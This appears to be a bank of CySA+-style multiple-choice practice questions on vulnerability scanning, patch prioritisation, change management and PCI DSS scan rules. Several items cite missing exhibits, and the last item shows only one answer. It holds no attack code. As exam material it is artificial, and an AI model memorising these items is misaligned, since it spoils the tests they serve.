Tom recently read a media report about a ransomware outbreak that was spreading rapidly across the Internet by exploiting a zero-day vulnerability in Microsoft Windows. As part of a comprehensive response, he would like to include a control that would allow his organization to effectively recover from a ransomware infection. Which one of the following controls would best achieve Tom's objective?

Security patching

Host firewalls

Backups

Intrusion prevention systems

Kaitlyn discovered the vulnerability shown here on a workstation in her organization. Which one of the following is not an acceptable method for remediating this vulnerability?

Upgrade WinRAR

Upgrade Windows

Remove WinRAR

Replace WinRAR with an alternate compression utility

Brent ran a vulnerability scan of several network infrastructure devices on his network and obtained the result shown here. What is the extent of the impact that an attacker could have by exploiting this vulnerability directly?

Denial of service

Theft of sensitive information

Network eavesdropping

Reconnaissance

Yashvir runs the cybersecurity vulnerability management program for his organization. He sends a database administrator a report of a missing database patch that corrects a high severity security issue. The DBA writes back to Yashvir that he has applied the patch. Yashvir reruns the scan, and it still reports the same vulnerability. What should he do next?

Mark the vulnerability as a false positive.

Ask the DBA to recheck the database.

Mark the vulnerability as an exception.

Escalate the issue to the DBA's manager.

Manya is reviewing the results of a vulnerability scan and identifies the issue shown here in one of her systems. She consults with developers who check the code and assure her that it is not vulnerable to SQL injection attacks. An independent auditor confirms this for Manya. What is the most likely scenario?

This is a false positive report.

The developers are wrong, and the vulnerability exists.

The scanner is malfunctioning.

The database server is misconfigured.

Erik is reviewing the results of a vulnerability scan and comes across the vulnerability report shown here. Which one of the following services is least likely to be affected by this vulnerability?

HTTPS

HTTP

SSH

VPN

Use the following scenario to answer questions 195–196.

Larry recently discovered a critical vulnerability in one of his organization's database servers during a routine vulnerability scan. When he showed the report to a database administrator, the administrator responded that they had corrected the vulnerability by using a vendor-supplied workaround because upgrading the database would disrupt an important process. Larry verified that the workaround is in place and corrects the vulnerability.

How should Larry respond to this situation?

Mark the report as a false positive.

Insist that the administrator apply the vendor patch.

Mark the report as an exception.

Require that the administrator submit a report describing the workaround after each vulnerability scan.

What is the most likely cause of this report?

The vulnerability scanner requires an update.

The vulnerability scanner depends on version detection.

The database administrator incorrectly applied the workaround.

Larry misconfigured the scan.

Mila ran a vulnerability scan of a server in her organization and found the vulnerability shown here. What is the use of the service affected by this vulnerability?

Web server

Database server

Email server

Directory server

Margot discovered that a server in her organization has a SQL injection vulnerability. She would like to investigate whether attackers have attempted to exploit this vulnerability. Which one of the following data sources is least likely to provide helpful information?

NetFlow logs

Web server logs

Database logs

IDS logs

Krista is reviewing a vulnerability scan report and comes across the vulnerability shown here. She comes from a Linux background and is not as familiar with Windows administration. She is not familiar with the runas command mentioned in this vulnerability. What is the closest Linux equivalent command?

sudo

grep

su

ps

After scanning a web application for possible vulnerabilities, Barry received the result shown here. Which one of the following best describes the threat posed by this vulnerability?

An attacker can eavesdrop on authentication exchanges.

An attacker can cause a denial-of-service attack on the web application.

An attacker can disrupt the encryption mechanism used by this server.

An attacker can edit the application code running on this server.

Javier ran a vulnerability scan of a network device used by his organization and discovered the vulnerability shown here. What type of attack would this vulnerability enable?

Denial of service

Information theft

Information alteration

Reconnaissance

Akari scans a Windows server in her organization and finds that it has multiple critical vulnerabilities, detailed in the report shown here. What action can Akari take that will have the most significant impact on these issues without creating a long-term outage?

Configure the host firewall to block inbound connections.

Apply security patches.

Disable the guest account on the server.

Configure the server to only use secure ciphers.

Ben is preparing to conduct a vulnerability scan for a new client of his security consulting organization. Which one of the following steps should Ben perform first?

Conduct penetration testing.

Run a vulnerability evaluation scan.

Run a discovery scan.

Obtain permission for the scans.

Katherine coordinates the remediation of security vulnerabilities in her organization and is attempting to work with a system engineer on the patching of a server to correct a moderate impact vulnerability. The engineer is refusing to patch the server because of the potential interruption to a critical business process that runs on the server. What would be the most reasonable course of action for Katherine to take?

Schedule the patching to occur during a regular maintenance cycle.

Exempt the server from patching because of the critical business impact.

Demand that the server be patched immediately to correct the vulnerability.

Inform the engineer that if he does not apply the patch within a week that Katherine will file a complaint with his manager.

During a recent vulnerability scan of workstations on her network, Andrea discovered the vulnerability shown here. Which one of the following actions is least likely to remediate this vulnerability?

Remove JRE from workstations.

Upgrade JRE to the most recent version.

Block inbound connections on port 80 using the host firewall.

Use a web content filtering system to scan for malicious traffic.

Grace ran a vulnerability scan and detected an urgent vulnerability in a public-facing web server. This vulnerability is easily exploitable and could result in the complete compromise of the server. Grace wants to follow best practices regarding change control while also mitigating this threat as quickly as possible. What would be Grace's best course of action?

Initiate a high-priority change through her organization's change management process and wait for the change to be approved.

Implement a fix immediately and document the change after the fact.

Schedule a change for the next quarterly patch cycle.

Initiate a standard change through her organization's change management process.

Doug is preparing an RFP for a vulnerability scanner for his organization. He needs to know the number of systems on his network to help determine the scanner requirements. Which one of the following would not be an easy way to obtain this information?

ARP tables

Asset management tool

Discovery scan

Results of scans recently run by a consultant

Mary runs a vulnerability scan of her entire organization and shares the report with another analyst on her team. An excerpt from that report appears here. Her colleague points out that the report contains only vulnerabilities with severities of 3, 4, or 5. What is the most likely cause of this result?

The scan sensitivity is set to exclude low-importance vulnerabilities.

Mary did not configure the scan properly.

Systems in the datacenter do not contain any level 1 or 2 vulnerabilities.

The scan sensitivity is set to exclude high-impact vulnerabilities.

Mikhail is reviewing the vulnerability shown here, which was detected on several servers in his environment. What action should Mikhail take?

Block TCP/IP access to these servers from external sources.

Upgrade the operating system on these servers.

Encrypt all access to these servers.

No action is necessary.

Which one of the following approaches provides the most current and accurate information about vulnerabilities present on a system because of the misconfiguration of operating system settings?

On-demand vulnerability scanning

Continuous vulnerability scanning

Scheduled vulnerability scanning

Agent-based monitoring

Use the following scenario to answer questions 211–213.

Pete recently conducted a broad vulnerability scan of all the servers and workstations in his environment. He scanned the following three networks:

DMZ network that contains servers with public exposure

Workstation network that contains workstations that are allowed outbound access only

Internal server network that contains servers exposed only to internal systems

He detected the following vulnerabilities:

Vulnerability 1: A SQL injection vulnerability on a DMZ server that would grant access to a database server on the internal network (severity 5/5)

Vulnerability 2: A buffer overflow vulnerability on a domain controller on the internal server network (severity 3/5)

Vulnerability 3: A missing security patch on several hundred Windows workstations on the workstation network (severity 2/5)

Vulnerability 4: A denial-of-service vulnerability on a DMZ server that would allow an attacker to disrupt a public-facing website (severity 2/5)

Vulnerability 5: A denial-of-service vulnerability on an internal server that would allow an attacker to disrupt an internal website (severity 4/5)

Note that the severity ratings assigned to these vulnerabilities are directly from the vulnerability scanner and were not assigned by Pete.

Absent any other information, which one of the vulnerabilities in the report should Pete remediate first?

Vulnerability 1

Vulnerability 2

Vulnerability 3

Vulnerability 4

Pete is working with the desktop support manager to remediate vulnerability 3. What would be the most efficient way to correct this issue?

Personally visit each workstation to remediate the vulnerability.

Remotely connect to each workstation to remediate the vulnerability.

Perform registry updates using a remote configuration tool.

Apply the patch using a GPO.

Pete recently conferred with the organization's CISO, and the team is launching an initiative designed to combat the insider threat. They are particularly concerned about the theft of information by employees seeking to exceed their authorized access. Which one of the vulnerabilities in this report is of greatest concern given this priority?

Vulnerability 2

Vulnerability 3

Vulnerability 4

Vulnerability 5

Wanda recently discovered the vulnerability shown here on a Windows server in her organization. She is unable to apply the patch to the server for six weeks because of operational issues. What workaround would be most effective in limiting the likelihood that this vulnerability would be exploited?

Restrict interactive logins to the system.

Remove Microsoft Office from the server.

Remove Internet Explorer from the server.

Apply the security patch.

Garrett is configuring vulnerability scanning for a new web server that his organization is deploying on its DMZ network. The server hosts the company's public website. What type of scanning should Garrett configure for best results?

Garrett should not perform scanning of DMZ systems.

Garrett should perform external scanning only.

Garrett should perform internal scanning only.

Garrett should perform both internal and external scanning.

Frank recently ran a vulnerability scan and identified a POS terminal that contains an unpatchable vulnerability because of running an unsupported operating system. Frank consults with his manager and is told that the POS is being used with full knowledge of management and, as a compensating control, it has been placed on an isolated network with no access to other systems. Frank's manager tells him that the merchant bank is aware of the issue. How should Frank handle this situation?

Document the vulnerability as an approved exception.

Explain to his manager that PCI DSS does not permit the use of unsupported operating systems.

Decommission the POS system immediately to avoid personal liability.

Upgrade the operating system immediately.

James is configuring vulnerability scans of a dedicated network that his organization uses for processing credit card transactions. What types of scans are least important for James to include in his scanning program?

Scans from a dedicated scanner on the card processing network

Scans from an external scanner on his organization's network

Scans from an external scanner operated by an approved scanning vendor

All three types of scans are equally important.

Helen performs a vulnerability scan of one of the internal LANs within her organization and finds a report of a web application vulnerability on a device. Upon investigation, she discovers that the device in question is a printer. What is the most likely scenario in this case?

The printer is running an embedded web server.

The report is a false positive result.

The printer recently changed IP addresses.

Helen inadvertently scanned the wrong network.

Joe discovered a critical vulnerability in his organization's database server and received permission from his supervisor to implement an emergency change after the close of business. He has eight hours before the planned change window. In addition to planning the technical aspects of the change, what else should Joe do to prepare for the change?

Ensure that all stakeholders are informed of the planned outage.

Document the change in his organization's change management system.

Identify any potential risks associated with the change.

All of the above.

Julian recently detected the vulnerability shown here on several servers in his environment. Because of the critical nature of the vulnerability, he would like to block all access to the affected service until it is resolved using a firewall rule. He verifies that the following TCP ports are open on the host firewall. Which one of the following does Julian not need to block to restrict access to this service?

137

139

389

445

Ted recently ran a vulnerability scan of his network and was overwhelmed with results. He would like to focus on the most important vulnerabilities. How should Ted reconfigure his vulnerability scanner?

Increase the scan sensitivity.

Decrease the scan sensitivity.

Increase the scan frequency.

Decrease the scan frequency.

After running a vulnerability scan, Janet discovered that several machines on her network are running Internet Explorer 8 and reported the vulnerability shown here. Which one of the following would not be a suitable replacement browser for these systems?

Internet Explorer 11

Google Chrome

Mozilla Firefox

Microsoft Edge

Sunitha discovered the vulnerability shown here in an application developed by her organization. What application security technique is most likely to resolve this issue?

Bounds checking

Network segmentation

Parameter handling

Tag removal

Sherry runs a vulnerability scan and receives the high-level results shown here. Her priority is to remediate the most important vulnerabilities first. Which system should be her highest priority?

A

B

C

D

Victor is configuring a new vulnerability scanner. He set the scanner to run scans of his entire datacenter each evening. When he went to check the scan reports at the end of the week, he found that they were all incomplete. The scan reports noted the error “Scan terminated due to start of preempting job.” Victor has no funds remaining to invest in the vulnerability scanning system. He does want to cover the entire datacenter. What should he do to ensure that scans complete?

Reduce the number of systems scanned.

Increase the number of scanners.

Upgrade the scanner hardware.

Reduce the scanning frequency.

Vanessa ran a vulnerability scan of a server and received the results shown here. Her boss instructed her to prioritize remediation based on criticality. Which issue should she address first?

Remove the POP server.

Remove the FTP server.

Upgrade the web server.

Remove insecure cryptographic protocols.

Gil is configuring a scheduled vulnerability scan for his organization using the QualysGuard scanner. If he selects the Relaunch On Finish scheduling option shown here, what will be the result?

The scan will run once each time the schedule occurs.

The scan will run twice each time the schedule occurs.

The scan will run twice the next time the schedule occurs and once on each subsequent schedule interval.

The scan will run continuously until stopped.

Terry is reviewing a vulnerability scan of a Windows server and came across the vulnerability shown here. What is the risk presented by this vulnerability?

An attacker may be able to execute a buffer overflow and execute arbitrary code on the server.

An attacker may be able to conduct a denial-of-service attack against this server.

An attacker may be able to determine the operating system version on this server.

There is no direct vulnerability, but this information points to other possible vulnerabilities on the server.

Andrea recently discovered the vulnerability shown here on the workstation belonging to a system administrator in her organization. What is the major likely threat that should concern Andrea?

An attacker could exploit this vulnerability to take control of the administrator's workstation.

An attacker could exploit this vulnerability to gain access to servers managed by the administrator.

An attacker could exploit this vulnerability to prevent the administrator from using the workstation.

An attacker could exploit this vulnerability to decrypt sensitive information stored on the administrator's workstation.

Mateo completed the vulnerability scan of a server in his organization and discovered the results shown here. Which one of the following is not a critical remediation action dictated by these results?

Remove obsolete software.

Reconfigure the host firewall.

Apply operating system patches.

Apply application patches.

Tom's company is planning to begin a bring your own device (BYOD) policy for mobile devices. Which one of the following technologies allows the secure use of sensitive information on personally owned devices, including providing administrators with the ability to wipe corporate information from the device without affecting personal data?

Remote wipe

Strong passwords

Biometric authentication

Containerization

Sally discovered during a vulnerability scan that a system that she manages has a high-priority vulnerability that requires a patch. The system is behind a firewall and there is no imminent threat, but Sally wants to get the situation resolved as quickly as possible. What would be her best course of action?

Initiate a high-priority change through her organization's change management process.

Implement a fix immediately and then document the change after the fact.

Implement a fix immediately and then inform her supervisor of her action and the rationale.

Schedule a change for the next quarterly patch cycle.

Gene runs a vulnerability scan of his organization's datacenter and produces a summary report to share with his management team. The report includes the chart shown here. When Gene's manager reads the report, she points out that the report is burying important details because it is highlighting too many unimportant issues. What should Gene do to resolve this issue?

Tell his manager that all vulnerabilities are important and should appear on the report.

Create a revised version of the chart using Excel.

Modify the sensitivity level of the scan.

Stop sharing reports with the management team.

Avik recently conducted a PCI DSS vulnerability scan of a web server and noted a critical PHP vulnerability that required an upgrade to correct. She applied the update. How soon must Avik repeat the scan?

Within 30 days

At the next scheduled quarterly scan

At the next scheduled annual scan

Immediately

Chandra's organization recently upgraded the firewall protecting the network where they process credit card information. This network is subject to the provisions of PCI DSS. When is Chandra required to schedule the next vulnerability scan of this network?

Immediately

Within one month

Before the start of next month

Before the end of the quarter following the upgrade

Fahad is concerned about the security of an industrial control system that his organization uses to monitor and manage systems in their factories. He would like to reduce the risk of an attacker penetrating this system. Which one of the following security controls would best mitigate the vulnerabilities in this type of system?

Network segmentation

Input validation

Memory protection

Redundancy

Glenda routinely runs vulnerability scans of servers in her organization. She is having difficulty with one system administrator who refuses to correct vulnerabilities on a server used as a jump box by other IT staff. The server has had dozens of vulnerabilities for weeks and would require downtime to repair. One morning, her scan reports that all of the vulnerabilities suddenly disappeared overnight, while other systems in the same scan are reporting issues. She checks the service status dashboard, and the service appears to be running properly with no outages reported in the past week. What is the most likely cause of this result?

The system administrator corrected the vulnerabilities.

The server is down.

The system administrator blocked the scanner.

The scan did not run.

Raphael discovered during a vulnerability scan that an administrative interface to one of his storage systems was inadvertently exposed to the Internet. He is reviewing firewall logs and would like to determine whether any access attempts came from external sources. Which one of the following IP addresses reflects an external source?

10.15.1.100

12.8.1.100

172.16.1.100

192.168.1.100

Nick is configuring vulnerability scans for his network using a third-party vulnerability scanning service. He is attempting to scan a web server that he knows exposes a CIFS file share and contains several significant vulnerabilities. However, the scan results only show ports 80 and 443 as open. What is the most likely cause of these scan results?

The CIFS file share is running on port 443.

A firewall configuration is preventing the scan from succeeding.

The scanner configuration is preventing the scan from succeeding.

The CIFS file share is running on port 80.

Thomas learned this morning of a critical security flaw that affects a major service used by his organization and requires immediate patching. This flaw was the subject of news reports and is being actively exploited. Thomas has a patch and informed stakeholders of the issue and received permission to apply the patch during business hours. How should he handle the change management process?

Thomas should apply the patch and then follow up with an emergency change request after work is complete.

Thomas should initiate a standard change request but apply the patch before waiting for approval.

Thomas should work through the standard change approval process and wait until it is complete to apply the patch.

Thomas should file an emergency change request and wait until it is approved to apply the patch.

After running a vulnerability scan of systems in his organization's development shop, Mike discovers the issue shown here on several systems. What is the best solution to this vulnerability?

Apply the required security patches to this framework.

Remove this framework from the affected systems.

Upgrade the operating system of the affected systems.

No action is necessary.

Tran is preparing to conduct vulnerability scans against a set of workstations in his organization. He is particularly concerned about system configuration settings. Which one of the following scan types will give him the best results?

Unauthenticated scan

Credentialed scan

External scan

Internal scan

Brian is configuring a vulnerability scan of all servers in his organization's datacenter. He is configuring the scan to only detect the highest-severity vulnerabilities. He would like to empower system administrators to correct issues on their servers but also have some insight into the status of those remediations. Which approach would best serve Brian's interests?

Give the administrators access to view the scans in the vulnerability scanning system.

Send email alerts to administrators when the scans detect a new vulnerability on their servers.

Configure the vulnerability scanner to open a trouble ticket when they detect a new vulnerability on a server.

Configure the scanner to send reports to Brian who can notify administrators and track them in a spreadsheet.

Xiu Ying is configuring a new vulnerability scanner for use in her organization's datacenter. Which one of the following values is considered a best practice for the scanner's update frequency?

Daily

Weekly

Monthly

Quarterly

Ben was recently assigned by his manager to begin the remediation work on the most vulnerable server in his organization. A portion of the scan report appears here. What remediation action should Ben take first?

Install patches for Adobe Flash.

Install patches for Firefox.

Run Windows Update.

Remove obsolete software.

Tom is planning a series of vulnerability scans and wants to ensure that the organization is meeting its customer commitments with respect to the scans' performance impact. What two documents should Tom consult to find these obligations?

SLAs and MOUs

SLAs and DRPs

DRPs and BIAs

BIAs and MOUs

Zhang Wei is evaluating the success of his vulnerability management program and would like to include some metrics. Which one of the following would be the least useful metric?

Time to resolve critical vulnerabilities

Number of open critical vulnerabilities over time

Total number of vulnerabilities reported

Number of systems containing critical vulnerabilities

Zhang Wei completed a vulnerability scan of his organization's virtualization platform from an external host and discovered the vulnerability shown here. How should he react?

This is a critical issue that requires immediate adjustment of firewall rules.

This issue has a very low severity and does not require remediation.

This issue should be corrected as time permits.

This is a critical issue, and Zhang Wei should shut down the platform until it is corrected.

Elliott runs a vulnerability scan of one of the servers belonging to his organization and finds the results shown here. Which one of these statements is not correct?

This server requires one or more Linux patches.

This server requires one or more Oracle database patches.

This server requires one or more Firefox patches.

This server requires one or more MySQL patches.

Donna is working with a system engineer who wants to remediate vulnerabilities in a server that he manages. Of the report templates shown here, which would be most useful to the engineer?

Qualys Top 20 Report

PCI Technical Report

Executive Report

Technical Report

Abdul received the vulnerability report shown here for a server in his organization. The server runs a legacy application that cannot easily be updated. What risks does this vulnerability present?

Unauthorized access to files stored on the server

Theft of credentials

Eavesdropping on communications

All of the above

Tom runs a vulnerability scan of the file server shown here.

He receives the vulnerability report shown next. Assuming that the firewall is configured properly, what action should Tom take immediately?

Block RDP access to this server from all hosts.

Review and secure server accounts.

Upgrade encryption on the server.

No action is required.

Dave is running a vulnerability scan of a client's network for the first time. The client has never run such a scan and expects to find many results. What security control is likely to remediate the largest portion of the vulnerabilities discovered in Dave's scan?

Input validation

Patching

Intrusion prevention systems

Encryption

Kai is planning to patch a production system to correct a vulnerability detected during a scan. What process should she follow to correct the vulnerability but minimize the risk of a system failure?

Kai should deploy the patch immediately on the production system.

Kai should wait 60 days to deploy the patch to determine whether bugs are reported.

Kai should deploy the patch in a sandbox environment to test it prior to applying it in production.

Kai should contact the vendor to determine a safe timeframe for deploying the patch in production.

William is preparing a legal agreement for his organization to purchase services from a vendor. He would like to document the requirements for system availability, including the vendor's allowable downtime for patching. What type of agreement should William use to incorporate this requirement?

MOU

SLA

BPA

BIA

Given no other information, which one of the following vulnerabilities would you consider the greatest threat to information confidentiality?

HTTP TRACE/TRACK methods enabled

SSL Server with SSL v3 enabled vulnerability

phpinfo information disclosure vulnerability

Web application SQL injection vulnerability

Which one of the following mobile device strategies is most likely to result in the introduction of vulnerable devices to a network?

COPE

TLS

BYOD

MDM

Sophia discovered the vulnerability shown here on one of the servers running in her organization. What action should she take?

Decommission this server.

Run Windows Update to apply security patches.

Require strong encryption for access to this server.

No action is required.

Ling recently completed the security analysis of a web browser deployed on systems in her organization and discovered that it is susceptible to a zero-day integer overflow attack. Who is in the best position to remediate this vulnerability in a manner that allows continued use of the browser?

Ling

The browser developer

The network administrator

The domain administrator

Jeff's team is preparing to deploy a new database service, and he runs a vulnerability scan of the test environment. This scan results in the four vulnerability reports shown here. Jeff is primarily concerned with correcting issues that may lead to a confidentiality breach. Which vulnerability should Jeff remediate first?

Rational ClearCase Portscan Denial of Service vulnerability

Non-Zero Padding Bytes Observed in Ethernet Packets

Oracle Database TNS Listener Poison Attack vulnerability

Hidden RPC Services

Eric is a security consultant and is trying to sell his services to a new client. He would like to run a vulnerability scan of their network prior to their initial meeting to show the client the need for added security. What is the most significant problem with this approach?

Eric does not know the client's infrastructure design.

Eric does not have permission to perform the scan.

Eric does not know what operating systems and applications are in use.

Eric does not know the IP range of the client's systems.

Renee is assessing the exposure of her organization to the denial-of-service vulnerability in the scan report shown here. She is specifically interested in determining whether an external attacker would be able to exploit the denial-of-service vulnerability. Which one of the following sources of information would provide her with the best information to complete this assessment?

Server logs

Firewall rules

IDS configuration

DLP configuration

Mary is trying to determine what systems in her organization should be subject to vulnerability scanning. She would like to base this decision on the criticality of the system to business operations. Where should Mary turn to best find this information?

The CEO

System names

IP addresses

Asset inventory

Paul ran a vulnerability scan of his vulnerability scanner and received the result shown here. What is the simplest fix to this issue?

Upgrade Nessus.

Remove guest accounts.

Implement TLS encryption.

Renew the server certificate.

Kamea is designing a vulnerability management system for her organization. Her highest priority is conserving network bandwidth. She does not have the ability to alter the configuration or applications installed on target systems. What solution would work best in Kamea's environment to provide vulnerability reports?

Agent-based scanning

Server-based scanning

Passive network monitoring

Port scanning

Aki is conducting a vulnerability scan when he receives a report that the scan is slowing down the network for other users. He looks at the performance configuration settings shown here. Which setting would be most likely to correct the issue?

Enable safe checks.

Stop scanning hosts that become unresponsive during the scan.

Scan IP addresses in random order.

Max simultaneous hosts per scan.

Laura received a vendor security bulletin that describes a zero-day vulnerability in her organization's main database server. This server is on a private network but is used by publicly accessible web applications. The vulnerability allows the decryption of administrative connections to the server. What reasonable action can Laura take to address this issue as quickly as possible?

Apply a vendor patch that resolves the issue.

Disable all administrative access to the database server.

Require VPN access for remote connections to the database server.

Verify that the web applications use strong encryption.

Emily discovered the vulnerability shown here on a server running in her organization. What is the most likely underlying cause for this vulnerability?

Failure to perform input validation

Failure to use strong passwords

Failure to encrypt communications

Failure to install antimalware software

Raul is replacing his organization's existing vulnerability scanner with a new product that will fulfill that functionality moving forward. As Raul begins to build the policy, he notices some conflicts in the scanning settings between different documents. Which one of the following document sources should Raul give the highest priority when resolving these conflicts?

NIST guidance documents

Vendor best practices

Corporate policy

Configuration settings from the prior system

Rex recently ran a vulnerability scan of his organization's network and received the results shown here. He would like to remediate the server with the highest number of the most serious vulnerabilities first. Which one of the following servers should be on his highest priority list?

10.0.102.58

10.0.16.58

10.0.46.116

10.0.69.232

Abella is configuring a vulnerability scanning tool. She recently learned about a privilege escalation vulnerability that requires the user already have local access to the system. She would like to ensure that her scanners are able to detect this vulnerability as well as future similar vulnerabilities. What action can she take that would best improve the scanner's ability to detect this type of issue?

Enable credentialed scanning.

Run a manual vulnerability feed update.

Increase scanning frequency.

Change the organization's risk appetite.

Kylie reviewed the vulnerability scan report for a web server and found that it has multiple SQL injection and cross-site scripting vulnerabilities. What would be the least difficult way for Kylie to address these issues?

Install a web application firewall.

Recode the web application to include input validation.

Apply security patches to the server operating system.

Apply security patches to the web server service.

Pietro is responsible for distributing vulnerability scan reports to system engineers who will remediate the vulnerabilities. What would be the most effective and secure way for Pietro to distribute the reports?

Pietro should configure the reports to generate automatically and provide immediate, automated notification to administrators of the results.

Pietro should run the reports manually and send automated notifications after he reviews them for security purposes.

Pietro should run the reports on an automated basis and then manually notify administrators of the results after he reviews them.

Pietro should run the reports manually and then manually notify administrators of the results after he reviews them.

Karen ran a vulnerability scan of a web server used on her organization's internal network. She received the report shown here. What circumstances would lead Karen to dismiss this vulnerability as a false positive?

The server is running SSL v2.

The server is running SSL v3.

The server is for internal use only.

The server does not contain sensitive information.

Which one of the following vulnerabilities is the most difficult to confirm with an external vulnerability scan?

Cross-site scripting

Cross-site request forgery

Blind SQL injection

Unpatched web server

Ann would like to improve her organization's ability to detect and remediate security vulnerabilities by adopting a continuous monitoring approach. Which one of the following is not a characteristic of a continuous monitoring program?

Analyzing and reporting findings

Conducting forensic investigations when a vulnerability is exploited

Mitigating the risk associated with findings

Transferring the risk associated with a finding to a third party

Holly ran a scan of a server in her datacenter and the most serious result was the vulnerability shown here. What action is most commonly taken to remediate this vulnerability?

Remove the file from the server.

Edit the file to limit information disclosure.

Password protect the file.

Limit file access to a specific IP range.

Nitesh would like to identify any systems on his network that are not registered with his asset management system because he is concerned that they might not be remediated to his organization's current security configuration baseline. He looks at the reporting console of his vulnerability scanner and sees the options shown here. Which of the following report types would be his best likely starting point?

Technical Report

High Severity Report

Qualys Patch Report

Unknown Device Report

What strategy can be used to immediately report configuration changes to a vulnerability scanner?

Scheduled scans

Continuous monitoring

Automated remediation

Automatic updates

During a recent vulnerability scan, Mark discovered a flaw in an internal web application that allows cross-site scripting attacks. He spoke with the manager of the team responsible for that application and was informed that he discovered a known vulnerability and the manager worked with other leaders and determined that the risk is acceptable and does not require remediation. What should Mark do?

Object to the manager's approach and insist on remediation.

Mark the vulnerability as a false positive.

Schedule the vulnerability for remediation in six months.

Mark the vulnerability as an exception.

Jacquelyn recently read about a new vulnerability in Apache web servers that allows attackers to execute arbitrary code from a remote location. She verified that her servers have this vulnerability, but this morning's vulnerability scan report shows that the servers are secure. She contacted the vendor and determined that they have released a signature for this vulnerability and it is working properly at other clients. What action can Jacquelyn take that will most likely address the problem efficiently?

Add the web servers to the scan.

Reboot the vulnerability scanner.

Update the vulnerability feed.

Wait until tomorrow's scan.

Vincent is a security manager for a U.S. federal government agency subject to FISMA. Which one of the following is not a requirement that he must follow for his vulnerability scans to maintain FISMA compliance?

Run complete scans on at least a monthly basis.

Use tools that facilitate interoperability and automation.

Remediate legitimate vulnerabilities.

Share information from the vulnerability scanning process.

Sharon is designing a new vulnerability scanning system for her organization. She must scan a network that contains hundreds of unmanaged hosts. Which of the following techniques would be most effective at detecting system configuration issues in her environment?

Agent-based scanning

Credentialed scanning

Server-based scanning

Passive network monitoring

Use the following scenario to answer questions 284–286.

Arlene ran a vulnerability scan of a VPN server used by contractors and employees to gain access to her organization's network. An external scan of the server found the vulnerability shown here.

Which one of the following hash algorithms would not trigger this vulnerability?

MD4

MD5

SHA-1

SHA-256

What is the most likely result of failing to correct this vulnerability?

All users will be able to access the site.

All users will be able to access the site, but some may see an error message.

Some users will be unable to access the site.

All users will be unable to access the site.

How can Arlene correct this vulnerability?

Reconfigure the VPN server to only use secure hash functions.

Request a new certificate.

Change the domain name of the server.

Implement an intrusion prevention system.

After reviewing the results of a vulnerability scan, Bruce discovered that many of the servers in his organization are susceptible to a brute-force SSH attack. He would like to determine what external hosts attempted SSH connections to his servers and is reviewing firewall logs. What TCP port would relevant traffic most likely use?

22

636

1433

1521

Joaquin runs a vulnerability scan of the network devices in his organization and sees the vulnerability report shown here for one of those devices. What action should he take?

No action is necessary because this is an informational report.

Upgrade the version of the certificate.

Replace the certificate.

Verify that the correct ciphers are being used.

Lori is studying vulnerability scanning as she prepares for the CySA+ exam. Which of the following is not one of the principles she should observe when preparing for the exam to avoid causing issues for her organization?

Run only nondangerous scans on production systems to avoid disrupting a production service.

Run scans in a quiet manner without alerting other IT staff to the scans or their results to minimize the impact of false information.

Limit the bandwidth consumed by scans to avoid overwhelming an active network link.

Run scans outside of periods of critical activity to avoid disrupting the business.

Meredith is configuring a vulnerability scan and would like to configure the scanner to perform credentialed scans. Of the menu options shown here, which will allow her to directly configure this capability?

Manage Discovery Scans

Configure Scan Settings

Configure Search Lists

Set Up Host Authentication

Norman is working with his manager to implement a vulnerability management program for his company. His manager tells him that he should focus on remediating critical and high-severity risks and that the organization does not want to spend time worrying about risks rated medium or lower. What type of criteria is Norman's manager using to make this decision?

Risk appetite

False positive

False negative

Data classification

After running a vulnerability scan against his organization's VPN server, Luis discovered the vulnerability shown here. What type of cryptographic situation does a birthday attack leverage?

Unsecured key

Meet-in-the-middle

Man-in-the-middle

Collision

Meredith recently ran a vulnerability scan on her organization's accounting network segment and found the vulnerability shown here on several workstations. What would be the most effective way for Meredith to resolve this vulnerability?

Remove Flash Player from the workstations.

Apply the security patches described in the Adobe bulletin.

Configure the network firewall to block unsolicited inbound access to these workstations.

Install an intrusion detection system on the network.

Nabil is the vulnerability manager for his organization and is responsible for tracking vulnerability remediation. There is a critical vulnerability in a network device that Nabil has handed off to the device's administrator, but it has not been resolved after repeated reminders to the engineer. What should Nabil do next?

Threaten the engineer with disciplinary action.

Correct the vulnerability himself.

Mark the vulnerability as an exception.

Escalate the issue to the network administrator's manager.

Sara's organization has a well-managed test environment. What is the most likely issue that Sara will face when attempting to evaluate the impact of a vulnerability remediation by first deploying it in the test environment?

Test systems are not available for all production systems.

Production systems require a different type of patch than test systems.

Significant configuration differences exist between test and production systems.

Test systems are running different operating systems than production systems.

How many vulnerabilities listed in the report shown here are significant enough to warrant immediate remediation in a typical operating environment?

22

14

5

0

Maria discovered an operating system vulnerability on a system on her network. After tracing the IP address, she discovered that the vulnerability is on a proprietary search appliance installed on her network. She consulted with the responsible engineer who informed her that he has no access to the underlying operating system. What is the best course of action for Maria?

Contact the vendor to obtain a patch.

Try to gain access to the underlying operating system and install the patch.

Mark the vulnerability as a false positive.

Wait 30 days and rerun the scan to see whether the vendor corrected the vulnerability.

Which one of the following types of data is subject to regulations in the United States that specify the minimum frequency of vulnerability scanning?

Driver's license numbers

Insurance records

Credit card data

Medical records

Chang is responsible for managing his organization's vulnerability scanning program. He is experiencing issues with scans aborting because the previous day's scans are still running when the scanner attempts to start the current day's scans. Which one of the following solutions is least likely to resolve Chang's issue?

Add a new scanner.

Reduce the scope of the scans.

Reduce the sensitivity of the scans.

Reduce the frequency of the scans.

Trevor is working with an application team on the remediation of a critical SQL injection vulnerability in a public-facing service. The team is concerned that deploying the fix will require several hours of downtime and that will block customer transactions from completing. What is the most reasonable course of action for Trevor to suggest?

Wait until the next scheduled maintenance window.

Demand that the vulnerability be remediated immediately.

Schedule an emergency maintenance for an off-peak time later in the day.

Convene a working group to assess the situation.

While conducting a vulnerability scan of his organization's datacenter, Annika discovers that the management interface for the organization's virtualization platform is exposed to the scanner. In typical operating circumstances, what is the proper exposure for this interface?

Internet

Internal networks

No exposure

Management network

Bhanu is scheduling vulnerability scans for her organization's datacenter. Which one of the following is a best practice that Bhanu should follow when scheduling scans?

Schedule scans so that they are spread evenly throughout the day.

Schedule scans so that they run during periods of low activity.

Schedule scans so that they all begin at the same time.

Schedule scans so that they run during periods of peak activity to simulate performance under load.

Kevin is concerned that an employee of his organization might fall victim to a phishing attack and wishes to redesign his social engineering awareness program. What type of threat is he most directly addressing?

Nation-state

Hacktivist

Unintentional insider

Intentional insider

Alan recently reviewed a vulnerability report and determined that an insecure direct object reference vulnerability existed on the system. He implemented a remediation to correct the vulnerability. After doing so, he verifies that his actions correctly mitigated the vulnerability. What term best describes the initial vulnerability report?

True positive

